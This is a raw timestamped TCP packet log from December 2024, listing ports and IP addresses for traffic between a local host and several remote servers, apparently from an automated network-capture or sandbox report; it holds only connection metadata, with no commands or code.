Dec 9, 2024 21:09:49.585443974 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.585546017 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.589731932 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.589741945 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.589975119 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.591582060 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.592900991 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.592936993 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.593045950 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.593081951 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.593219995 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.593262911 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.593446016 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.593467951 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.594276905 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.594310999 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.596091986 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.596122980 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.596136093 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.596144915 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.596276999 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.596303940 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.596328974 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.596467972 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.596498966 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.643325090 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.643573999 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.643608093 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.643627882 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.643646002 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.643696070 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.643709898 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.776118994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776176929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776190996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776191950 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.776230097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.776397943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776416063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776428938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776439905 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776452065 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.776458025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.776484966 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.776504993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.777093887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.777113914 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.777141094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.777151108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.858618975 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.858664989 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.858714104 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.858720064 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.858737946 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.858777046 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.858788013 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.858930111 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.858969927 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.858978987 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.866993904 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.867043018 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.867050886 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.881361008 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.881511927 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.881520033 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:49.895571947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.895628929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.895692110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:49.895739079 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:49.934253931 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:49.978008032 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.002422094 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.002674103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.002767086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.006736040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.006913900 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.006973028 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.014972925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.017007113 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.017971039 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.018610001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.018655062 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.026391983 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.026453972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.026524067 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.026642084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.027627945 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.034702063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.034882069 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.035646915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.035734892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.043134928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.043203115 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.043459892 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.043528080 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.050096035 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.050323009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.050396919 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.050404072 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.055886984 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.055918932 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.055941105 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.055957079 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.056056976 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.056289911 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.056346893 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.056406021 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.057545900 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.057590961 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.058743954 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.058793068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.065417051 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.066026926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.066082954 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.072675943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.072840929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.072899103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.080585003 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.082961082 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.122087955 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.122337103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.163705111 CET	49967	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:50.163729906 CET	443	49967	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:50.194643974 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.194664001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.194709063 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.197734118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.197993994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.198035955 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.204047918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.204229116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.204272985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.210535049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.210678101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.210719109 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.216299057 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.216490030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.216535091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.222271919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.222316027 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.222738981 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.222915888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.228205919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.228256941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.228288889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.228327990 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.234205008 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.234354019 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.234437943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.234487057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.240281105 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.240365982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.240605116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.242944956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.246161938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.246783018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.246831894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.252304077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.252365112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.252415895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.252459049 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.258007050 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.258060932 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.258136988 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.258490086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.262084007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.262176037 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.262207031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.262244940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.266132116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.266175032 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.266671896 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.266717911 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.270078897 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.270195007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.270303965 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.274111032 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.274452925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.274504900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.278142929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.278505087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.278563023 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.281991005 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.282037020 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.282299995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.282339096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.286175966 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.286228895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.286319017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.286957026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.290100098 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.290324926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.290360928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.290401936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.294130087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.294460058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.294466972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.294672966 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.297985077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.298032045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.380223989 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:50.386583090 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.386701107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.386733055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.386799097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.388354063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.388478041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.388505936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.388505936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.391151905 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.391189098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.391379118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.391422987 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.394730091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.394946098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.395100117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.395139933 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.398447037 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.399004936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.399056911 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.401957989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.402362108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.402412891 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.405170918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.405221939 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.405474901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.406939030 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.408376932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.408432007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.408513069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.408555031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.411602020 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.411648989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.411814928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.414699078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.414741039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.414836884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.414938927 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.417741060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.417782068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.418348074 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.418940067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.421191931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.421209097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.421240091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.421269894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.423763037 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.423820972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.423954964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.424005985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.426434994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.426479101 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.426532984 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.426614046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.429270029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.429388046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.429939985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.430002928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.432100058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.432195902 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.432260990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.432301998 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.435051918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.435112953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.435142040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.435276985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.437870026 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.437942028 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.438013077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.438067913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.440699100 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.440846920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.441196918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.441255093 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.443552971 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.443592072 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.443902016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.443943024 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.446537971 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.446590900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.446676970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.446841955 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.449368954 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.449424982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.449501038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.449568033 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.452173948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.452255964 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.452405930 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.452543974 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.455024004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.455281019 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.455374956 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.455415964 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.458005905 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.458065987 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.458347082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.458951950 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.460859060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.460906982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.461107969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.461146116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.463682890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.463779926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.463824034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.466588020 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.466639996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.466777086 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.466824055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.469358921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.469405890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.469533920 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.469585896 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.472246885 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.472297907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.472378969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.472417116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.475044012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.475419044 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.475575924 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.475617886 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.477900982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.478091955 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.478141069 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.480794907 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.480875969 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.480935097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.480998993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.483675003 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.483721018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.483839989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.483935118 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.486526012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.486567974 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.486737013 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.486836910 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.489387035 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.489440918 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:50.489578009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:50.489664078 CET	49969	80	192.168.2.6	185.215.113.16
